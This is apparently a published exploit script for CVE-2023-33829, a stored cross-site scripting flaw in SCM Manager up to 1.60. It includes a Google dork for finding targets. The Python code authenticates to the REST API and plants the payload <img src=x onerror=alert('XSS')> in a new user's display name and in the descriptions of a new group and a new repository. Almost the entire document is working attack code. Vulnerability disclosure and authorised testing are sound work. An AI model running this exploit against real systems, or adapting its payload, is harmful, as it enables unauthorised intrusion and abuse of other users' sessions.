SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) Exploit

#!/usr/bin/python3

# Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
# Google Dork: intitle:"SCM Manager" intext:1.60
# Date: 05-25-2023
# Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829)
# Vendor Homepage: https://scm-manager.org/
# Software Link: https://scm-manager.org/docs/1.x/en/getting-started/
# Version: 1.2 <= 1.60
# Tested on: Debian based
# CVE: CVE-2023-33829

# Modules
import requests
import argparse
import sys

# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()


# Credentials
user = sys.argv[2]
password = sys.argv[4]


# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

# Create a session
session = requests.Session()

# Credentials to send
post_data={
	'username': user, # change if you have any other user with write permissions
	'password': password # change if you have any other user with write permissions
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
	print("[+] Authentication successfully")
else:
	print("[-] Failed to authenticate")
	sys.exit(1)

new_user={

	"name": "newUser",
	"displayName": "<img src=x onerror=alert('XSS')>",
	"mail": "",
	"password": "",
	"admin": False,
	"active": True,
	"type": "xml"

}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group={

	"name": "newGroup",
	"description": "<img src=x onerror=alert('XSS')>",
	"type": "xml"

}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo={

	"name": "newRepo",
	"type": "svn",
	"contact": "",
	"description": "<img src=x onerror=alert('XSS')>",
	"public": False

}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")